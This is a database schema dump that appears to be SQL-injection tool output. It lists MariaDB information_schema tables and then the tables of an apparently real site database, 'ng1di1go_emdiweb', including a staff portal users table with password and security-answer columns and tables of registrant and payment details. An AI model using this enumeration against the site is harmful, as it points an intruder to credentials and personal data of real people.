- | UNUSED_BLOCKS | bigint(21) unsigned |
- | USED_BLOCKS | bigint(21) unsigned |
- | WRITE_REQUESTS | bigint(21) unsigned |
- | WRITES | bigint(21) unsigned |
- +----------------+---------------------+
- Database: information_schema
- Table: PLUGINS
- [13 columns]
- +------------------------+-------------+
- | Column | Type |
- +------------------------+-------------+
- | LOAD_OPTION | varchar(64) |
- | PLUGIN_AUTH_VERSION | varchar(80) |
- | PLUGIN_AUTHOR | varchar(64) |
- | PLUGIN_DESCRIPTION | longtext |
- | PLUGIN_LIBRARY | varchar(64) |
- | PLUGIN_LIBRARY_VERSION | varchar(20) |
- | PLUGIN_LICENSE | varchar(80) |
- | PLUGIN_MATURITY | varchar(12) |
- | PLUGIN_NAME | varchar(64) |
- | PLUGIN_STATUS | varchar(16) |
- | PLUGIN_TYPE | varchar(80) |
- | PLUGIN_TYPE_VERSION | varchar(20) |
- | PLUGIN_VERSION | varchar(20) |
- +------------------------+-------------+
- Database: information_schema
- Table: CLIENT_STATISTICS
- [23 columns]
- +------------------------+-------------+
- | Column | Type |
- +------------------------+-------------+
- | ACCESS_DENIED | bigint(21) |
- | BINLOG_BYTES_WRITTEN | bigint(21) |
- | BUSY_TIME | double |
- | BYTES_RECEIVED | bigint(21) |
- | BYTES_SENT | bigint(21) |
- | CLIENT | varchar(64) |
- | COMMIT_TRANSACTIONS | bigint(21) |
- | CONCURRENT_CONNECTIONS | bigint(21) |
- | CONNECTED_TIME | bigint(21) |
- | CPU_TIME | double |
- | DENIED_CONNECTIONS | bigint(21) |
- | EMPTY_QUERIES | bigint(21) |
- | LOST_CONNECTIONS | bigint(21) |
- | OTHER_COMMANDS | bigint(21) |
- | ROLLBACK_TRANSACTIONS | bigint(21) |
- | ROWS_DELETED | bigint(21) |
- | ROWS_INSERTED | bigint(21) |
- | ROWS_READ | bigint(21) |
- | ROWS_SENT | bigint(21) |
- | ROWS_UPDATED | bigint(21) |
- | SELECT_COMMANDS | bigint(21) |
- | TOTAL_CONNECTIONS | bigint(21) |
- | UPDATE_COMMANDS | bigint(21) |
- +------------------------+-------------+
- Database: information_schema
- Table: INNODB_FT_INDEX_TABLE
- [6 columns]
- +--------------+---------------------+
- | Column | Type |
- +--------------+---------------------+
- | POSITION | bigint(21) unsigned |
- | DOC_COUNT | bigint(21) unsigned |
- | DOC_ID | bigint(21) unsigned |
- | FIRST_DOC_ID | bigint(21) unsigned |
- | LAST_DOC_ID | bigint(21) unsigned |
- | WORD | varchar(337) |
- +--------------+---------------------+
- Database: information_schema
- Table: INNODB_CMPMEM
- [6 columns]
- +----------------------+------------+
- | Column | Type |
- +----------------------+------------+
- | buffer_pool_instance | int(11) |
- | page_size | int(5) |
- | pages_free | int(11) |
- | pages_used | int(11) |
- | relocation_ops | bigint(21) |
- | relocation_time | int(11) |
- +----------------------+------------+
- Database: information_schema
- Table: EVENTS
- [24 columns]
- +----------------------+---------------+
- | Column | Type |
- +----------------------+---------------+
- | CHARACTER_SET_CLIENT | varchar(32) |
- | COLLATION_CONNECTION | varchar(32) |
- | CREATED | datetime |
- | DATABASE_COLLATION | varchar(32) |
- | DEFINER | varchar(189) |
- | ENDS | datetime |
- | EVENT_BODY | varchar(8) |
- | EVENT_CATALOG | varchar(64) |
- | EVENT_COMMENT | varchar(64) |
- | EVENT_DEFINITION | longtext |
- | EVENT_NAME | varchar(64) |
- | EVENT_SCHEMA | varchar(64) |
- | EVENT_TYPE | varchar(9) |
- | EXECUTE_AT | datetime |
- | INTERVAL_FIELD | varchar(18) |
- | INTERVAL_VALUE | varchar(256) |
- | LAST_ALTERED | datetime |
- | LAST_EXECUTED | datetime |
- | ON_COMPLETION | varchar(12) |
- | ORIGINATOR | bigint(10) |
- | SQL_MODE | varchar(8192) |
- | STARTS | datetime |
- | STATUS | varchar(18) |
- | TIME_ZONE | varchar(64) |
- +----------------------+---------------+
- Database: information_schema
- Table: USER_STATISTICS
- [23 columns]
- +------------------------+--------------+
- | Column | Type |
- +------------------------+--------------+
- | USER | varchar(128) |
- | ACCESS_DENIED | bigint(21) |
- | BINLOG_BYTES_WRITTEN | bigint(21) |
- | BUSY_TIME | double |
- | BYTES_RECEIVED | bigint(21) |
- | BYTES_SENT | bigint(21) |
- | COMMIT_TRANSACTIONS | bigint(21) |
- | CONCURRENT_CONNECTIONS | int(11) |
- | CONNECTED_TIME | int(11) |
- | CPU_TIME | double |
- | DENIED_CONNECTIONS | bigint(21) |
- | EMPTY_QUERIES | bigint(21) |
- | LOST_CONNECTIONS | bigint(21) |
- | OTHER_COMMANDS | bigint(21) |
- | ROLLBACK_TRANSACTIONS | bigint(21) |
- | ROWS_DELETED | bigint(21) |
- | ROWS_INSERTED | bigint(21) |
- | ROWS_READ | bigint(21) |
- | ROWS_SENT | bigint(21) |
- | ROWS_UPDATED | bigint(21) |
- | SELECT_COMMANDS | bigint(21) |
- | TOTAL_CONNECTIONS | int(11) |
- | UPDATE_COMMANDS | bigint(21) |
- +------------------------+--------------+
- Database: information_schema
- Table: INNODB_CMP_RESET
- [6 columns]
- +-----------------+---------+
- | Column | Type |
- +-----------------+---------+
- | compress_ops | int(11) |
- | compress_ops_ok | int(11) |
- | compress_time | int(11) |
- | page_size | int(5) |
- | uncompress_ops | int(11) |
- | uncompress_time | int(11) |
- +-----------------+---------+
- Database: information_schema
- Table: APPLICABLE_ROLES
- [3 columns]
- +--------------+--------------+
- | Column | Type |
- +--------------+--------------+
- | GRANTEE | varchar(190) |
- | IS_GRANTABLE | varchar(3) |
- | ROLE_NAME | varchar(128) |
- +--------------+--------------+
- Database: information_schema
- Table: INNODB_SYS_TABLESPACES
- [7 columns]
- +---------------+------------------+
- | Column | Type |
- +---------------+------------------+
- | SPACE | int(11) unsigned |
- | FILE_FORMAT | varchar(10) |
- | FLAG | int(11) unsigned |
- | NAME | varchar(655) |
- | PAGE_SIZE | int(11) unsigned |
- | ROW_FORMAT | varchar(22) |
- | ZIP_PAGE_SIZE | int(11) unsigned |
- +---------------+------------------+
- Database: information_schema
- Table: COLLATIONS
- [6 columns]
- +--------------------+-------------+
- | Column | Type |
- +--------------------+-------------+
- | CHARACTER_SET_NAME | varchar(32) |
- | COLLATION_NAME | varchar(32) |
- | ID | bigint(11) |
- | IS_COMPILED | varchar(3) |
- | IS_DEFAULT | varchar(3) |
- | SORTLEN | bigint(3) |
- +--------------------+-------------+
- Database: information_schema
- Table: REFERENTIAL_CONSTRAINTS
- [11 columns]
- +---------------------------+--------------+
- | Column | Type |
- +---------------------------+--------------+
- | CONSTRAINT_CATALOG | varchar(512) |
- | CONSTRAINT_NAME | varchar(64) |
- | CONSTRAINT_SCHEMA | varchar(64) |
- | DELETE_RULE | varchar(64) |
- | MATCH_OPTION | varchar(64) |
- | REFERENCED_TABLE_NAME | varchar(64) |
- | TABLE_NAME | varchar(64) |
- | UNIQUE_CONSTRAINT_CATALOG | varchar(512) |
- | UNIQUE_CONSTRAINT_NAME | varchar(64) |
- | UNIQUE_CONSTRAINT_SCHEMA | varchar(64) |
- | UPDATE_RULE | varchar(64) |
- +---------------------------+--------------+
- Database: information_schema
- Table: PROCESSLIST
- [15 columns]
- +---------------+---------------+
- | Column | Type |
- +---------------+---------------+
- | TIME | int(7) |
- | USER | varchar(128) |
- | COMMAND | varchar(16) |
- | DB | varchar(64) |
- | EXAMINED_ROWS | int(7) |
- | HOST | varchar(64) |
- | ID | bigint(4) |
- | INFO | longtext |
- | MAX_STAGE | tinyint(2) |
- | MEMORY_USED | int(7) |
- | PROGRESS | decimal(7,3) |
- | QUERY_ID | bigint(4) |
- | STAGE | tinyint(2) |
- | STATE | varchar(64) |
- | TIME_MS | decimal(22,3) |
- +---------------+---------------+
- Database: information_schema
- Table: PROFILING
- [18 columns]
- +---------------------+--------------+
- | Column | Type |
- +---------------------+--------------+
- | BLOCK_OPS_IN | int(20) |
- | BLOCK_OPS_OUT | int(20) |
- | CONTEXT_INVOLUNTARY | int(20) |
- | CONTEXT_VOLUNTARY | int(20) |
- | CPU_SYSTEM | decimal(9,6) |
- | CPU_USER | decimal(9,6) |
- | DURATION | decimal(9,6) |
- | MESSAGES_RECEIVED | int(20) |
- | MESSAGES_SENT | int(20) |
- | PAGE_FAULTS_MAJOR | int(20) |
- | PAGE_FAULTS_MINOR | int(20) |
- | QUERY_ID | int(20) |
- | SEQ | int(20) |
- | SOURCE_FILE | varchar(20) |
- | SOURCE_FUNCTION | varchar(30) |
- | SOURCE_LINE | int(20) |
- | STATE | varchar(30) |
- | SWAPS | int(20) |
- +---------------------+--------------+
- Database: information_schema
- Table: XTRADB_READ_VIEW
- [4 columns]
- +--------------------------------+---------------------+
- | Column | Type |
- +--------------------------------+---------------------+
- | READ_VIEW_LOW_LIMIT_TRX_ID | varchar(18) |
- | READ_VIEW_LOW_LIMIT_TRX_NUMBER | varchar(18) |
- | READ_VIEW_UNDO_NUMBER | bigint(21) unsigned |
- | READ_VIEW_UPPER_LIMIT_TRX_ID | varchar(18) |
- +--------------------------------+---------------------+
- Database: information_schema
- Table: INNODB_CMP
- [6 columns]
- +-----------------+---------+
- | Column | Type |
- +-----------------+---------+
- | compress_ops | int(11) |
- | compress_ops_ok | int(11) |
- | compress_time | int(11) |
- | page_size | int(5) |
- | uncompress_ops | int(11) |
- | uncompress_time | int(11) |
- +-----------------+---------+
- Database: information_schema
- Table: INNODB_FT_DELETED
- [1 column]
- +--------+---------------------+
- | Column | Type |
- +--------+---------------------+
- | DOC_ID | bigint(21) unsigned |
- +--------+---------------------+
- Database: information_schema
- Table: INNODB_SYS_TABLESTATS
- [9 columns]
- +-------------------+---------------------+
- | Column | Type |
- +-------------------+---------------------+
- | AUTOINC | bigint(21) unsigned |
- | CLUST_INDEX_SIZE | bigint(21) unsigned |
- | MODIFIED_COUNTER | bigint(21) unsigned |
- | NAME | varchar(193) |
- | NUM_ROWS | bigint(21) unsigned |
- | OTHER_INDEX_SIZE | bigint(21) unsigned |
- | REF_COUNT | int(11) |
- | STATS_INITIALIZED | varchar(193) |
- | TABLE_ID | bigint(21) unsigned |
- +-------------------+---------------------+
- Database: information_schema
- Table: INNODB_SYS_FIELDS
- [3 columns]
- +----------+---------------------+
- | Column | Type |
- +----------+---------------------+
- | INDEX_ID | bigint(21) unsigned |
- | NAME | varchar(193) |
- | POS | int(11) unsigned |
- +----------+---------------------+
- Database: information_schema
- Table: INNODB_LOCK_WAITS
- [4 columns]
- +-------------------+-------------+
- | Column | Type |
- +-------------------+-------------+
- | blocking_lock_id | varchar(81) |
- | blocking_trx_id | varchar(18) |
- | requested_lock_id | varchar(81) |
- | requesting_trx_id | varchar(18) |
- +-------------------+-------------+
- Database: information_schema
- Table: COLUMNS
- [20 columns]
- +--------------------------+---------------------+
- | Column | Type |
- +--------------------------+---------------------+
- | PRIVILEGES | varchar(80) |
- | CHARACTER_MAXIMUM_LENGTH | bigint(21) unsigned |
- | CHARACTER_OCTET_LENGTH | bigint(21) unsigned |
- | CHARACTER_SET_NAME | varchar(32) |
- | COLLATION_NAME | varchar(32) |
- | COLUMN_COMMENT | varchar(1024) |
- | COLUMN_DEFAULT | longtext |
- | COLUMN_KEY | varchar(3) |
- | COLUMN_NAME | varchar(64) |
- | COLUMN_TYPE | longtext |
- | DATA_TYPE | varchar(64) |
- | DATETIME_PRECISION | bigint(21) unsigned |
- | EXTRA | varchar(27) |
- | IS_NULLABLE | varchar(3) |
- | NUMERIC_PRECISION | bigint(21) unsigned |
- | NUMERIC_SCALE | bigint(21) unsigned |
- | ORDINAL_POSITION | bigint(21) unsigned |
- | TABLE_CATALOG | varchar(512) |
- | TABLE_NAME | varchar(64) |
- | TABLE_SCHEMA | varchar(64) |
- +--------------------------+---------------------+
- Database: information_schema
- Table: FILES
- [38 columns]
- +----------------------+---------------------+
- | Column | Type |
- +----------------------+---------------------+
- | VERSION | bigint(21) unsigned |
- | AUTOEXTEND_SIZE | bigint(21) unsigned |
- | AVG_ROW_LENGTH | bigint(21) unsigned |
- | CHECK_TIME | datetime |
- | CHECKSUM | bigint(21) unsigned |
- | CREATE_TIME | datetime |
- | CREATION_TIME | datetime |
- | DATA_FREE | bigint(21) unsigned |
- | DATA_LENGTH | bigint(21) unsigned |
- | DELETED_ROWS | bigint(4) |
- | ENGINE | varchar(64) |
- | EXTENT_SIZE | bigint(4) |
- | EXTRA | varchar(255) |
- | FILE_ID | bigint(4) |
- | FILE_NAME | varchar(64) |
- | FILE_TYPE | varchar(20) |
- | FREE_EXTENTS | bigint(4) |
- | FULLTEXT_KEYS | varchar(64) |
- | INDEX_LENGTH | bigint(21) unsigned |
- | INITIAL_SIZE | bigint(21) unsigned |
- | LAST_ACCESS_TIME | datetime |
- | LAST_UPDATE_TIME | datetime |
- | LOGFILE_GROUP_NAME | varchar(64) |
- | LOGFILE_GROUP_NUMBER | bigint(4) |
- | MAX_DATA_LENGTH | bigint(21) unsigned |
- | MAXIMUM_SIZE | bigint(21) unsigned |
- | RECOVER_TIME | bigint(4) |
- | ROW_FORMAT | varchar(10) |
- | STATUS | varchar(20) |
- | TABLE_CATALOG | varchar(64) |
- | TABLE_NAME | varchar(64) |
- | TABLE_ROWS | bigint(21) unsigned |
- | TABLE_SCHEMA | varchar(64) |
- | TABLESPACE_NAME | varchar(64) |
- | TOTAL_EXTENTS | bigint(4) |
- | TRANSACTION_COUNTER | bigint(4) |
- | UPDATE_COUNT | bigint(4) |
- | UPDATE_TIME | datetime |
- +----------------------+---------------------+
- Database: information_schema
- Table: TABLES
- [21 columns]
- +-----------------+---------------------+
- | Column | Type |
- +-----------------+---------------------+
- | VERSION | bigint(21) unsigned |
- | AUTO_INCREMENT | bigint(21) unsigned |
- | AVG_ROW_LENGTH | bigint(21) unsigned |
- | CHECK_TIME | datetime |
- | CHECKSUM | bigint(21) unsigned |
- | CREATE_OPTIONS | varchar(255) |
- | CREATE_TIME | datetime |
- | DATA_FREE | bigint(21) unsigned |
- | DATA_LENGTH | bigint(21) unsigned |
- | ENGINE | varchar(64) |
- | INDEX_LENGTH | bigint(21) unsigned |
- | MAX_DATA_LENGTH | bigint(21) unsigned |
- | ROW_FORMAT | varchar(10) |
- | TABLE_CATALOG | varchar(512) |
- | TABLE_COLLATION | varchar(32) |
- | TABLE_COMMENT | varchar(2048) |
- | TABLE_NAME | varchar(64) |
- | TABLE_ROWS | bigint(21) unsigned |
- | TABLE_SCHEMA | varchar(64) |
- | TABLE_TYPE | varchar(64) |
- | UPDATE_TIME | datetime |
- +-----------------+---------------------+
- Database: information_schema
- Table: INNODB_FT_DEFAULT_STOPWORD
- [1 column]
- +--------+-------------+
- | Column | Type |
- +--------+-------------+
- | value | varchar(18) |
- +--------+-------------+
- Database: information_schema
- Table: STATISTICS
- [16 columns]
- +---------------+---------------+
- | Column | Type |
- +---------------+---------------+
- | COLLATION | varchar(1) |
- | CARDINALITY | bigint(21) |
- | COLUMN_NAME | varchar(64) |
- | COMMENT | varchar(16) |
- | INDEX_COMMENT | varchar(1024) |
- | INDEX_NAME | varchar(64) |
- | INDEX_SCHEMA | varchar(64) |
- | INDEX_TYPE | varchar(16) |
- | NON_UNIQUE | bigint(1) |
- | NULLABLE | varchar(3) |
- | PACKED | varchar(10) |
- | SEQ_IN_INDEX | bigint(2) |
- | SUB_PART | bigint(3) |
- | TABLE_CATALOG | varchar(512) |
- | TABLE_NAME | varchar(64) |
- | TABLE_SCHEMA | varchar(64) |
- +---------------+---------------+
- Database: information_schema
- Table: ENABLED_ROLES
- [1 column]
- +-----------+--------------+
- | Column | Type |
- +-----------+--------------+
- | ROLE_NAME | varchar(128) |
- +-----------+--------------+
- Database: information_schema
- Table: INNODB_SYS_TABLES
- [8 columns]
- +---------------+---------------------+
- | Column | Type |
- +---------------+---------------------+
- | SPACE | int(11) |
- | FILE_FORMAT | varchar(10) |
- | FLAG | int(11) |
- | N_COLS | int(11) |
- | NAME | varchar(655) |
- | ROW_FORMAT | varchar(12) |
- | TABLE_ID | bigint(21) unsigned |
- | ZIP_PAGE_SIZE | int(11) unsigned |
- +---------------+---------------------+
- Database: information_schema
- Table: INNODB_CHANGED_PAGES
- [4 columns]
- +-----------+---------------------+
- | Column | Type |
- +-----------+---------------------+
- | end_lsn | bigint(21) unsigned |
- | page_id | int(11) unsigned |
- | space_id | int(11) unsigned |
- | start_lsn | bigint(21) unsigned |
- +-----------+---------------------+
- Database: information_schema
- Table: VIEWS
- [10 columns]
- +----------------------+--------------+
- | Column | Type |
- +----------------------+--------------+
- | CHARACTER_SET_CLIENT | varchar(32) |
- | CHECK_OPTION | varchar(8) |
- | COLLATION_CONNECTION | varchar(32) |
- | DEFINER | varchar(189) |
- | IS_UPDATABLE | varchar(3) |
- | SECURITY_TYPE | varchar(7) |
- | TABLE_CATALOG | varchar(512) |
- | TABLE_NAME | varchar(64) |
- | TABLE_SCHEMA | varchar(64) |
- | VIEW_DEFINITION | longtext |
- +----------------------+--------------+
- Database: information_schema
- Table: KEY_COLUMN_USAGE
- [12 columns]
- +-------------------------------+--------------+
- | Column | Type |
- +-------------------------------+--------------+
- | COLUMN_NAME | varchar(64) |
- | CONSTRAINT_CATALOG | varchar(512) |
- | CONSTRAINT_NAME | varchar(64) |
- | CONSTRAINT_SCHEMA | varchar(64) |
- | ORDINAL_POSITION | bigint(10) |
- | POSITION_IN_UNIQUE_CONSTRAINT | bigint(10) |
- | REFERENCED_COLUMN_NAME | varchar(64) |
- | REFERENCED_TABLE_NAME | varchar(64) |
- | REFERENCED_TABLE_SCHEMA | varchar(64) |
- | TABLE_CATALOG | varchar(512) |
- | TABLE_NAME | varchar(64) |
- | TABLE_SCHEMA | varchar(64) |
- +-------------------------------+--------------+
- Database: information_schema
- Table: SESSION_STATUS
- [2 columns]
- +----------------+---------------+
- | Column | Type |
- +----------------+---------------+
- | VARIABLE_NAME | varchar(64) |
- | VARIABLE_VALUE | varchar(1024) |
- +----------------+---------------+
- Database: information_schema
- Table: INNODB_SYS_DATAFILES
- [2 columns]
- +--------+------------------+
- | Column | Type |
- +--------+------------------+
- | PATH | varchar(4000) |
- | SPACE | int(11) unsigned |
- +--------+------------------+
- Database: information_schema
- Table: SCHEMA_PRIVILEGES
- [5 columns]
- +----------------+--------------+
- | Column | Type |
- +----------------+--------------+
- | GRANTEE | varchar(190) |
- | IS_GRANTABLE | varchar(3) |
- | PRIVILEGE_TYPE | varchar(64) |
- | TABLE_CATALOG | varchar(512) |
- | TABLE_SCHEMA | varchar(64) |
- +----------------+--------------+
- Database: information_schema
- Table: SESSION_VARIABLES
- [2 columns]
- +----------------+---------------+
- | Column | Type |
- +----------------+---------------+
- | VARIABLE_NAME | varchar(64) |
- | VARIABLE_VALUE | varchar(1024) |
- +----------------+---------------+
- Database: information_schema
- Table: XTRADB_RSEG
- [6 columns]
- +-----------+---------------------+
- | Column | Type |
- +-----------+---------------------+
- | curr_size | bigint(21) unsigned |
- | max_size | bigint(21) unsigned |
- | page_no | bigint(21) unsigned |
- | rseg_id | bigint(21) unsigned |
- | space_id | bigint(21) unsigned |
- | zip_size | bigint(21) unsigned |
- +-----------+---------------------+
- Database: information_schema
- Table: GLOBAL_STATUS
- [2 columns]
- +----------------+---------------+
- | Column | Type |
- +----------------+---------------+
- | VARIABLE_NAME | varchar(64) |
- | VARIABLE_VALUE | varchar(1024) |
- +----------------+---------------+
- Database: information_schema
- Table: INNODB_FT_CONFIG
- [2 columns]
- +--------+--------------+
- | Column | Type |
- +--------+--------------+
- | KEY | varchar(193) |
- | VALUE | varchar(193) |
- +--------+--------------+
- Database: information_schema
- Table: INNODB_TRX
- [24 columns]
- +----------------------------+---------------------+
- | Column | Type |
- +----------------------------+---------------------+
- | trx_adaptive_hash_latched | int(1) |
- | trx_adaptive_hash_timeout | bigint(21) unsigned |
- | trx_autocommit_non_locking | int(1) |
- | trx_concurrency_tickets | bigint(21) unsigned |
- | trx_foreign_key_checks | int(1) |
- | trx_id | varchar(18) |
- | trx_is_read_only | int(1) |
- | trx_isolation_level | varchar(16) |
- | trx_last_foreign_key_error | varchar(256) |
- | trx_lock_memory_bytes | bigint(21) unsigned |
- | trx_lock_structs | bigint(21) unsigned |
- | trx_mysql_thread_id | bigint(21) unsigned |
- | trx_operation_state | varchar(64) |
- | trx_query | varchar(1024) |
- | trx_requested_lock_id | varchar(81) |
- | trx_rows_locked | bigint(21) unsigned |
- | trx_rows_modified | bigint(21) unsigned |
- | trx_started | datetime |
- | trx_state | varchar(13) |
- | trx_tables_in_use | bigint(21) unsigned |
- | trx_tables_locked | bigint(21) unsigned |
- | trx_unique_checks | int(1) |
- | trx_wait_started | datetime |
- | trx_weight | bigint(21) unsigned |
- +----------------------------+---------------------+
- Database: information_schema
- Table: INNODB_BUFFER_PAGE
- [20 columns]
- +---------------------+---------------------+
- | Column | Type |
- +---------------------+---------------------+
- | SPACE | bigint(21) unsigned |
- | ACCESS_TIME | bigint(21) unsigned |
- | BLOCK_ID | bigint(21) unsigned |
- | COMPRESSED_SIZE | bigint(21) unsigned |
- | DATA_SIZE | bigint(21) unsigned |
- | FIX_COUNT | bigint(21) unsigned |
- | FLUSH_TYPE | bigint(21) unsigned |
- | FREE_PAGE_CLOCK | bigint(21) unsigned |
- | INDEX_NAME | varchar(1024) |
- | IO_FIX | varchar(64) |
- | IS_HASHED | varchar(3) |
- | IS_OLD | varchar(3) |
- | NEWEST_MODIFICATION | bigint(21) unsigned |
- | NUMBER_RECORDS | bigint(21) unsigned |
- | OLDEST_MODIFICATION | bigint(21) unsigned |
- | PAGE_NUMBER | bigint(21) unsigned |
- | PAGE_STATE | varchar(64) |
- | PAGE_TYPE | varchar(64) |
- | POOL_ID | bigint(21) unsigned |
- | TABLE_NAME | varchar(1024) |
- +---------------------+---------------------+
- Database: information_schema
- Table: TABLE_STATISTICS
- [5 columns]
- +------------------------+--------------+
- | Column | Type |
- +------------------------+--------------+
- | ROWS_CHANGED | bigint(21) |
- | ROWS_CHANGED_X_INDEXES | bigint(21) |
- | ROWS_READ | bigint(21) |
- | TABLE_NAME | varchar(192) |
- | TABLE_SCHEMA | varchar(192) |
- +------------------------+--------------+
- Database: information_schema
- Table: TABLE_PRIVILEGES
- [6 columns]
- +----------------+--------------+
- | Column | Type |
- +----------------+--------------+
- | GRANTEE | varchar(190) |
- | IS_GRANTABLE | varchar(3) |
- | PRIVILEGE_TYPE | varchar(64) |
- | TABLE_CATALOG | varchar(512) |
- | TABLE_NAME | varchar(64) |
- | TABLE_SCHEMA | varchar(64) |
- +----------------+--------------+
- Database: information_schema
- Table: INNODB_CMPMEM_RESET
- [6 columns]
- +----------------------+------------+
- | Column | Type |
- +----------------------+------------+
- | buffer_pool_instance | int(11) |
- | page_size | int(5) |
- | pages_free | int(11) |
- | pages_used | int(11) |
- | relocation_ops | bigint(21) |
- | relocation_time | int(11) |
- +----------------------+------------+
- Database: information_schema
- Table: ALL_PLUGINS
- [13 columns]
- +------------------------+-------------+
- | Column | Type |
- +------------------------+-------------+
- | LOAD_OPTION | varchar(64) |
- | PLUGIN_AUTH_VERSION | varchar(80) |
- | PLUGIN_AUTHOR | varchar(64) |
- | PLUGIN_DESCRIPTION | longtext |
- | PLUGIN_LIBRARY | varchar(64) |
- | PLUGIN_LIBRARY_VERSION | varchar(20) |
- | PLUGIN_LICENSE | varchar(80) |
- | PLUGIN_MATURITY | varchar(12) |
- | PLUGIN_NAME | varchar(64) |
- | PLUGIN_STATUS | varchar(16) |
- | PLUGIN_TYPE | varchar(80) |
- | PLUGIN_TYPE_VERSION | varchar(20) |
- | PLUGIN_VERSION | varchar(20) |
- +------------------------+-------------+
- Database: ng1di1go_emdiweb
- Table: departmentlist
- [8 columns]
- +-------------+--------------+
- | Column | Type |
- +-------------+--------------+
- | description | text |
- | designation | varchar(120) |
- | division_id | varchar(3) |
- | hod | varchar(120) |
- | hod_id | varchar(3) |
- | id | varchar(3) |
- | name | varchar(100) |
- | s_num | int(11) |
- +-------------+--------------+
- Database: ng1di1go_emdiweb
- Table: e_library_category
- [3 columns]
- +-------------+--------------+
- | Column | Type |
- +-------------+--------------+
- | category | varchar(150) |
- | description | text |
- | id | varchar(3) |
- +-------------+--------------+
- Database: ng1di1go_emdiweb
- Table: subservices
- [2 columns]
- +-------------+--------------+
- | Column | Type |
- +-------------+--------------+
- | service_id | varchar(3) |
- | sub_service | varchar(200) |
- +-------------+--------------+
- Database: ng1di1go_emdiweb
- Table: registration
- [13 columns]
- +-----------------+--------------+
- | Column | Type |
- +-----------------+--------------+
- | ContactAddress | text |
- | Email | varchar(40) |
- | FirstName | varchar(20) |
- | InstitutionName | text |
- | Laptop | varchar(3) |
- | LastName | varchar(20) |
- | MiddleName | varchar(20) |
- | PhoneNumber | varchar(11) |
- | Profession | varchar(100) |
- | Qualification | varchar(40) |
- | Ref_Number | varchar(5) |
- | Sponsor | varchar(100) |
- | SponsorAddress | text |
- +-----------------+--------------+
- Database: ng1di1go_emdiweb
- Table: newsletter
- [1 column]
- +--------+--------------+
- | Column | Type |
- +--------+--------------+
- | email | varchar(120) |
- +--------+--------------+
- Database: ng1di1go_emdiweb
- Table: contacts
- [2 columns]
- +---------------+--------------+
- | Column | Type |
- +---------------+--------------+
- | contact_title | varchar(120) |
- | details | text |
- +---------------+--------------+
- Database: ng1di1go_emdiweb
- Table: forum_topics
- [5 columns]
- +-----------+-------------+
- | Column | Type |
- +-----------+-------------+
- | date | date |
- | time | time |
- | id | int(4) |
- | posted_by | varchar(50) |
- | topic | text |
- +-----------+-------------+
- Database: ng1di1go_emdiweb
- Table: hod_profile
- [9 columns]
- +---------------+--------------+
- | Column | Type |
- +---------------+--------------+
- | department | varchar(120) |
- | designation | varchar(120) |
- | email | varchar(100) |
- | hod_id | int(3) |
- | membership | text |
- | name | varchar(120) |
- | photograph | varchar(80) |
- | qualification | text |
- | Telephone | varchar(14) |
- +---------------+--------------+
- Database: ng1di1go_emdiweb
- Table: staffportal_users
- [14 columns]
- +-------------------+--------------+
- | Column | Type |
- +-------------------+--------------+
- | alternative_email | varchar(70) |
- | conraiss | varchar(2) |
- | date_of_birth | date |
- | department | varchar(100) |
- | designation | varchar(50) |
- | middlename | varchar(40) |
- | othername | varchar(40) |
- | password | varchar(20) |
- | security_answer | varchar(150) |
- | security_question | varchar(150) |
- | staff_id | varchar(11) |
- | surname | varchar(40) |
- | username | varchar(20) |
- | webmail_address | varchar(40) |
- +-------------------+--------------+
- Database: ng1di1go_emdiweb
- Table: reminder
- [3 columns]
- +-------------+------------+
- | Column | Type |
- +-------------+------------+
- | description | text |
- | id | varchar(3) |
- | reminder | text |
- +-------------+------------+
- Database: ng1di1go_emdiweb
- Table: departmentunits
- [4 columns]
- +-------------+------------+
- | Column | Type |
- +-------------+------------+
- | dept_id | varchar(3) |
- | description | text |
- | name | text |
- | unit_id | varchar(3) |
- +-------------+------------+
- Database: ng1di1go_emdiweb
- Table: division
- [2 columns]
- +--------+-------------+
- | Column | Type |
- +--------+-------------+
- | id | varchar(3) |
- | name | varchar(50) |
- +--------+-------------+
- Database: ng1di1go_emdiweb
- Table: research_activities
- [4 columns]
- +---------------+------------+
- | Column | Type |
- +---------------+------------+
- | description | text |
- | facilities | text |
- | id | varchar(3) |
- | Research_Area | text |
- +---------------+------------+
- Database: ng1di1go_emdiweb
- Table: research_interest
- [2 columns]
- +------------------+--------------+
- | Column | Type |
- +------------------+--------------+
- | interest | varchar(200) |
- | Research_Area_id | varchar(3) |
- +------------------+--------------+
- Database: ng1di1go_emdiweb
- Table: e_library_resources
- [5 columns]
- +----------------+--------------+
- | Column | Type |
- +----------------+--------------+
- | cat_id | varchar(3) |
- | id | varchar(3) |
- | resources_desc | text |
- | resources_name | text |
- | url | varchar(200) |
- +----------------+--------------+
- Database: ng1di1go_emdiweb
- Table: forum_contribution
- [5 columns]
- +-------------------+-------------+
- | Column | Type |
- +-------------------+-------------+
- | contributed_by | varchar(50) |
- | contribution | text |
- | contribution_date | date |
- | contribution_time | time |
- | topic_id | int(11) |
- +-------------------+-------------+
- Database: ng1di1go_emdiweb
- Table: services
- [3 columns]
- +-------------+--------------+
- | Column | Type |
- +-------------+--------------+
- | description | text |
- | id | varchar(3) |
- | service | varchar(120) |
- +-------------+--------------+
- Database: ng1di1go_emdiweb
- Table: news
- [5 columns]
- +--------------+--------------+
- | Column | Type |
- +--------------+--------------+
- | announcement | text |
- | description | text |
- | id | varchar(3) |
- | post_date | date |
- | url | varchar(120) |
- +--------------+--------------+
- Database: ng1di1go_emdiweb
- Table: payment
- [8 columns]
- +---------------+-------------+
- | Column | Type |
- +---------------+-------------+
- | Amount | float |
- | BankBranch | varchar(70) |
- | Comment | text |
- | PaymentDate | varchar(20) |
- | PaymentMethod | varchar(30) |
- | PaymentNumber | varchar(20) |
- | PaymentStatus | varchar(30) |
- | Ref_Number | varchar(10) |
- +---------------+-------------+
- Database: ng1di1go_emdiweb
- Table: upcoming_events
- [7 columns]
- +--------------+--------------+
- | Column | Type |
- +--------------+--------------+
- | date | varchar(20) |
- | time | varchar(20) |
- | contact_info | text |
- | description | text |
- | event | text |
- | id | varchar(3) |
- | venue | varchar(150) |
- +--------------+--------------+
- Database: ng1di1go_emdiweb
- Table: request_product_info
- [5 columns]
- +---------------+--------------+
- | Column | Type |
- +---------------+--------------+
- | email_address | varchar(150) |
- | full_name | varchar(150) |
- | phone_number | varchar(20) |
- | product_name | varchar(150) |
- | request | text |
- +---------------+--------------+
- Database: ng1di1go_emdiweb
- Table: products
- [6 columns]
- +---------------+--------------+
- | Column | Type |
- +---------------+--------------+
- | cycle_time | varchar(100) |
- | description | text |
- | id | varchar(3) |
- | image | varchar(250) |
- | name | varchar(200) |
- | specification | text |
- +---------------+--------------+
